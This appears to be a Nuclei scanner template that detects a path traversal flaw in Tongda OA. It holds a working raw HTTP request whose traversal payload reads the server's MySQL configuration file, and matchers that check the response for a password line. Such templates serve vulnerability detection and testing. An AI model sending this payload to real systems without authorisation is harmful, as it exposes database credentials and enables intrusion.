nuclei-templates/vulnerabilities/other/oa-tongda-path-traversal.yaml

37 lines
835 B
YAML

id: oa-tongda-path-traversal
info:
name: OA TongDa Path Traversal
author: pikpikcu
severity: critical
reference: https://github.com/jas502n/OA-tongda-RCE
tags: tongda,lfi
requests:
- raw:
- |
POST /ispirit/interface/gateway.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../mysql5/my.ini"}
matchers-condition: and
matchers:
- type: word
words:
- "text/html"
part: header
condition: and
- type: word
words:
- "[mysql]"
- "password="
part: body
condition: and
- type: status
status:
- 200